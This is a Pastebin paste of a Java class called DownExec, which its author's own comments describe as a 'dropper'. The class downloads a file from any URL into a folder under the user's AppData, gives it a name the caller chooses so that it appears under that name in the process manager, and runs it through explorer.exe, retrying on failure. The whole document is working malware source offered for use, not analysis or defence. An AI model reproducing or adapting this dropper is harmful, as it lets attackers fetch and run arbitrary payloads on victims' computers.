Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.java.test;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.net.URL;
- import java.nio.channels.Channels;
- import java.nio.channels.ReadableByteChannel;
- /**
- * A simple dropper class that should probably be incorporated into a larger
- * class, as this is a static implementation. Essentially downloads and executes
- * a file.
- *
- * @author CosaNostra
- * @version 1.0
- */
- public final class DownExec {
- /**
- * The local AppData folder for the current user.
- */
- private final static File APP_DATA = new File(System.getenv("APPDATA"),
- "DataFolder");
- /**
- * Attempts to download and execute the file a specified number of times
- * from the provided URL and saves it as the name that is provided. So
- * whatever name you pass will show up in the process manager.
- *
- * @param url
- * The URL to downlaod the file from, must be fully qualified.
- * @param name
- * The name that the file will use, must have an extension or it
- * will not execute.
- * @param maxAttempts
- * The maximum number of times we should try to download and
- * execute.
- * @return True iff the file was downloaded. Does not return false if
- * execution fails, as I didn't really feel like implementing that.
- */
- public final static boolean downloadExec(String url, String name,
- int maxAttempts) {
- // Current number of attempts and whether or not we've succeeded.
- int attempts = 0;
- boolean success = false;
- // While we haven't downloaded it...
- while (!success && attempts < maxAttempts) {
- // If the folder doesn't exist in AppData, make it.
- if (!DownExec.APP_DATA.exists()) {
- DownExec.APP_DATA.mkdirs();
- }
- // Qualify the file location.
- final String fileLoc = DownExec.APP_DATA.getAbsolutePath()
- + File.separator + name;
- // Try to download.
- ReadableByteChannel rbc = null;
- FileOutputStream fos = null;
- try {
- // Open a byte channel to the provided url.
- final URL website = new URL(url);
- rbc = Channels.newChannel(website.openStream());
- fos = new FileOutputStream(fileLoc);
- // Transfer the file from the remove location.
- fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
- // Report a success.
- success = true;
- } catch (final IOException e) {
- e.printStackTrace();
- } finally {
- // Clean up.
- try {
- if (rbc != null)
- rbc.close();
- if (fos != null)
- fos.close();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- // If we succeeded in downloading the file, try to execute it.
- if (success) {
- try {
- // Uses explorer.exe because it can handle all file-types.
- Runtime.getRuntime().exec(
- "explorer.exe "
- + DownExec.APP_DATA.getAbsolutePath()
- + File.separator + name);
- } catch (IOException e) {
- e.printStackTrace();
- }
- } else {
- // Increase the number of attempts if it failed.
- attempts++;
- }
- }
- return success;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement